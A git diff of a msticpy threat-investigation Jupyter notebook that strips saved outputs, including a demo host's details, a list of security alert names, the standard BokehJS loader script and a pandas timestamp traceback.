+ "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:28:58.158859Z", "start_time": "2020-05-15T23:28:55.922817Z" } }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Unique host found: MSTICAlertsWin1\n" - ] - } - ], + "outputs": [], "source": [ "# Get single event - try process creation\n", "if \"SecurityEvent\" not in table_index:\n", @@ -666,142 +288,14 @@ }, { "cell_type": "code", - "execution_count": 9, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:29:12.506439Z", "start_time": "2020-05-15T23:29:01.493356Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "This product includes GeoLite2 data created by MaxMind, available from\n", - "https://www.maxmind.com.\n" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Latest local Maxmind City Database present is older than 30 days. Attempting to download new database to C:\\Users\\Ian\\.msticpy\\GeoLite2\n", - "Downloading and extracting GeoLite DB archive from MaxMind....\n", - "Extraction complete. Local Maxmind city DB: C:\\Users\\Ian\\.msticpy\\GeoLite2\\GeoLite2-City.mmdb\n", - "Looking for MSTICAlertsWin1 in OMS Heartbeat data...\n" - ] - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Looking for MSTICAlertsWin1 IP addresses in network flows...\n" - ] - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

Host Details

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "{ 'AdditionalData': {},\n", - " 'ComputerEnvironment': 'Azure',\n", - " 'HostName': 'MSTICAlertsWin1',\n", - " 'IPAddress': { 'AdditionalData': {},\n", - " 'Address': '40.76.43.124',\n", - " 'Location': { 'AdditionalData': {},\n", - " 'CountryName': 'United States',\n", - " 'Latitude': 38.71,\n", - " 'Longitude': -78.16,\n", - " 'Type': 'geolocation'},\n", - " 'Type': 'ipaddress'},\n", - " 'NetBiosName': 'MSTICAlertsWin1',\n", - " 'OSMajorVersion': '10',\n", - " 'OSMinorVersion': '0',\n", - " 'OSType': 'Windows',\n", - " 'OmsSolutions': [ '\"security\"',\n", - " '\"changeTracking\"',\n", - " '\"networkMonitoring\"',\n", - " '\"serviceMap\"',\n", - " '\"dnsAnalytics\"',\n", - " '\"securityCenterFree\"',\n", - " '\"securityInsights\"',\n", - " '\"windowsEventForwarding\"'],\n", - " 'ResourceId': '/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHUNTOMSWORKSPACERG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1',\n", - " 'SourceComputerId': '263a788b-6526-4cdc-8ed9-d79402fe4aa0',\n", - " 'Type': 'host',\n", - " 'VMUUID': '3b8d40a2-33fa-4230-9dc1-794aabdd225c',\n", - " 'private_ips': [IpAddress(Type=ipaddress, Address=10.0.3.5)],\n", - " 'public_ips': [ IpAddress(Type=ipaddress, Address=40.76.43.124, Location={ 'AdditionalData': {},\n", - " 'City':...)]}\n" - ] - } - ], + "outputs": [], "source": [ "if not host_name:\n", " host_name = choose_host.value\n", @@ -901,57 +395,14 @@ }, { "cell_type": "code", - "execution_count": 10, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:29:12.712441Z", "start_time": "2020-05-15T23:29:12.667444Z" } }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "19925828670341f5ba2665d941db12ce", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "691527ed5d8346908b43b37b4432c760", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 18), description='Origin Date'), Text(value='23:31:44.1…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "f9e47367797441798ce39b2f28b3f733", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-5, 5), description='Time Range (day):', layout=Layout(width='80%'), max=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "ra_query_times = nbwidgets.QueryTime(\n", " units=\"day\",\n", @@ -965,393 +416,14 @@ }, { "cell_type": "code", - "execution_count": 11, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:29:15.961693Z", "start_time": "2020-05-15T23:29:14.578094Z" } }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/markdown": [ - "### Found 5 different alert types related to this host (`MSTICAlertsWin1`)" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "- Potential attempt to bypass AppLocker detected, # Alerts: 1\n", - "- Security incident detected, # Alerts: 1\n", - "- Security incident with shared process detected, # Alerts: 1\n", - "- Suspicious Activity Detected, # Alerts: 1\n", - "- Suspicious system process executed, # Alerts: 1\n" - ] - }, - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"1001\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };var element = document.getElementById(\"1001\");\n", - " if (element == null) {\n", - " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '1001' but no matching script tag was found. \")\n", - " return false;\n", - " }\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1001\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };var element = document.getElementById(\"1001\");\n if (element == null) {\n console.error(\"Bokeh: ERROR: autoload.js configured with elementid '1001' but no matching script tag was found. \")\n return false;\n }\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "ename": "TypeError", - "evalue": "Cannot compare tz-naive and tz-aware timestamps", - "output_type": "error", - "traceback": [ - "\u001b[1;31m---------------------------------------------------------------------------\u001b[0m", - "\u001b[1;31mTypeError\u001b[0m Traceback (most recent call last)", - "\u001b[1;32m\u001b[0m in \u001b[0;36m\u001b[1;34m\u001b[0m\n\u001b[0;32m 26\u001b[0m \u001b[1;32mif\u001b[0m \u001b[0mlen\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mhost_alert_items\u001b[0m\u001b[1;33m)\u001b[0m \u001b[1;33m>\u001b[0m \u001b[1;36m1\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 27\u001b[0m nbdisplay.display_timeline(\n\u001b[1;32m---> 28\u001b[1;33m \u001b[0mdata\u001b[0m\u001b[1;33m=\u001b[0m\u001b[0mrelated_alerts\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mtitle\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;34m\"Alerts\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0msource_columns\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;34m\"AlertName\"\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mheight\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;36m200\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 29\u001b[0m )\n\u001b[0;32m 30\u001b[0m \u001b[1;32melse\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32me:\\src\\microsoft\\msticpy\\msticpy\\nbtools\\timeline.py\u001b[0m in \u001b[0;36mdisplay_timeline\u001b[1;34m(data, time_column, source_columns, **kwargs)\u001b[0m\n\u001b[0;32m 182\u001b[0m \u001b[0mcolor\u001b[0m\u001b[1;33m=\u001b[0m\u001b[0mkwargs\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mget\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;34m\"color\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;34m\"navy\"\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 183\u001b[0m )\n\u001b[1;32m--> 184\u001b[1;33m \u001b[1;32mreturn\u001b[0m \u001b[0m_display_timeline_dict\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdata\u001b[0m\u001b[1;33m=\u001b[0m\u001b[0mseries_dict\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m**\u001b[0m\u001b[0mkwargs_sub\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 185\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 186\u001b[0m \u001b[1;32mif\u001b[0m \u001b[0misinstance\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdata\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mdict\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32me:\\src\\microsoft\\msticpy\\msticpy\\nbtools\\timeline.py\u001b[0m in \u001b[0;36m_display_timeline_dict\u001b[1;34m(data, **kwargs)\u001b[0m\n\u001b[0;32m 463\u001b[0m \u001b[0mhide\u001b[0m\u001b[1;33m:\u001b[0m \u001b[0mbool\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mkwargs\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mpop\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;34m\"hide\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;32mFalse\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 464\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 465\u001b[1;33m \u001b[0mtool_tip_columns\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mmin_time\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mmax_time\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0m_unpack_data_series_dict\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdata\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m**\u001b[0m\u001b[0mkwargs\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 466\u001b[0m \u001b[0mseries_count\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mlen\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdata\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 467\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32me:\\src\\microsoft\\msticpy\\msticpy\\nbtools\\timeline.py\u001b[0m in \u001b[0;36m_unpack_data_series_dict\u001b[1;34m(data, **kwargs)\u001b[0m\n\u001b[0;32m 623\u001b[0m \u001b[0mseries_def\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;34m\"time_column\"\u001b[0m\u001b[1;33m]\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mtime_col\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 624\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 625\u001b[1;33m \u001b[0mmin_time\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mmin\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mmin_time\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mseries_data\u001b[0m\u001b[1;33m[\u001b[0m\u001b[0mtime_col\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mmin\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 626\u001b[0m \u001b[0mmax_time\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mmax\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mmax_time\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mseries_data\u001b[0m\u001b[1;33m[\u001b[0m\u001b[0mtime_col\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mmax\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 627\u001b[0m \u001b[0mdata_columns\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mupdate\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m[\u001b[0m\u001b[0mtime_col\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32mpandas/_libs/tslibs/c_timestamp.pyx\u001b[0m in \u001b[0;36mpandas._libs.tslibs.c_timestamp._Timestamp.__richcmp__\u001b[1;34m()\u001b[0m\n", - 